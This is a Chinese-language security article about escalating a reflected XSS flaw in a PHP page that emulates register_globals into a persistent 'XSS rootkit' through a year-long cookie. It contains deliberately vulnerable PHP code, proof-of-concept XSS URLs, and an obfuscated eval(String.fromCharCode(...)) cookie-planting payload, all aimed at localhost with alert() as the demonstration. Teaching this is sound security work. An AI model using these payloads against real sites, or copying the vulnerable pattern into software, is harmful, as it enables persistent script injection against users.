前言
眾所周知[[:Category:Xss(跨站)|XSS漏洞]]的風(fēng)險定義一直比較模糊,[[:Category:Xss(跨站)|XSS漏洞]]屬于高危[http://sebug.net/ 漏洞]還是低風(fēng)險漏洞一直以來都有所爭議。XSS漏洞類型分為兩種持久型和非持久型:
##非持久型XSS漏洞一般存在于URL參數(shù)中,需要訪問黑客構(gòu)造好的特定URL才能觸發(fā)漏洞。
##持久型XSS漏洞一般存在于富文本等交互功能,如發(fā)帖留言等,黑客可以用XSS內(nèi)容經(jīng)正常功能進(jìn)入數(shù)據(jù)庫持久保存。
一般持久型XSS漏洞比非持久型XSS漏洞風(fēng)險等級高,從漏洞的本質(zhì)上來說這是沒錯的,但漏洞的利用仍然需要看場景,有時候更深入的看待場景能夠挖掘出意想不到的東西,大家接著往下看。
漏洞場景解析
首先我給出一段PHP的XSS漏洞的簡單代碼:
1.//demo.php
2.foreach(Array('_GET','_POST','_COOKIE') as $_request)
3.{
4.foreach($$_request as $_k => $_v) ${$_k} = $_v;
5.}
6.?>
7.<a href="<? echo $_SERVER["PHP_SELF"]; ?>?i=<? echo $id;?>">分頁</a>
這段PHP代碼中模擬register_globals是Web程序中常見的,代碼中輸出了網(wǎng)頁的分頁鏈接這個也是常見的,因為忽略了對傳入數(shù)據(jù)的效驗,更產(chǎn)生了最常見的XSS漏洞。
下面是這個XSS漏洞的驗證方法:
http://127.0.0.1/demo.php?id=1"><script>alert(1)</script>
GET方法在id參數(shù)中傳入HTML內(nèi)容,導(dǎo)致網(wǎng)頁內(nèi)容中的herf閉合,執(zhí)行script標(biāo)簽里的腳本內(nèi)容:
<a href="/demo.php?id=1"><script>alert(1)</script>">分頁</a>
這是一個典型的非持久型XSS漏洞,在常規(guī)的思維邏輯下,這個漏洞到這里基本就打止了,本文也馬上要變?yōu)槠胀ǖ目破瘴牧耍欢聦嵅]有那么簡單,這個漏洞場景再深入挖掘,就牽出了本文的重頭戲。
XSS Rootkit實現(xiàn)方法
我們知道現(xiàn)今流行的PHP Web程序的核心代碼第一件事便是模擬register_globals,通過GPC直接注冊變量方便整個程序的運(yùn)作。所以本文的重點來了,在這個場景下,我們的demo.php不僅可以GET傳參,還能接受COOKIE的數(shù)據(jù),而COOKIE是客戶端瀏覽器的持久化數(shù)據(jù),如果通過XSS漏洞設(shè)置COOKIE,我們完全可以把這個典型的非持久型XSS漏洞變成持久的,說到這里大家一定非常興奮了,我就來實際測試一下:
先寫出一段設(shè)置cookie的javascript代碼
1.Persistence_data=’”><script>alert(/xss/)</script>’;
2.var date=new Date();
3.var expireDays=365; //設(shè)置COOKIE一年后失效
4.date.setTime(date.getTime()+expireDays*24*3600*1000);
5.document.cookie=’id=’+Persistence_data+’;expires=’+date.toGMTString(); //設(shè)置cookie的id參數(shù)值為XSS代碼
把設(shè)置COOKIE的javascript代碼編碼一次,放入XSS URL中,這樣防止GPC和不同瀏覽器編碼的未知情況,然后我們訪問下面的URL。
1.http://127.0.0.1/demo.php?id=1"><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,47,41,60,47,115,99,114,105,112,116,62,39,59,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,105,100,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59))</script>
結(jié)果令人非常滿意,由于模擬registerglobals的變量注冊順序是GPC,當(dāng)然程序員模擬registerglobals的變量注冊順序不同也會影響這個效果,由于COOKIE的變量注冊總是最后生效的,所以我們關(guān)閉瀏覽器無論是訪問http://127.0.0.1/demo.php還是訪問http://127.0.0.1/demo.php?id=1,我們的XSS代碼都會生效,同時如果客戶端未清理COOKIE,這個XSS漏洞將有效一年的時間,一個不起眼的低風(fēng)險漏洞立馬轉(zhuǎn)變?yōu)橐粋€令人如此興奮的XSS Rootkit。
后話
一些web漏洞掃描器報告中提示非持久型XSS漏洞標(biāo)為高危漏洞,普遍存在爭議的情況,可以根據(jù)本文做參考,對場景再深入挖掘,那么本文的目的也就達(dá)到了
至此我們用非持久型XSS漏洞完成了一次到XSS Rootkit的轉(zhuǎn)變,再一次揭示了漏洞的場景有多么重要,深掘漏洞場景完成一次本質(zhì)的升華是多么美妙的事情
下一篇:CSRFScanner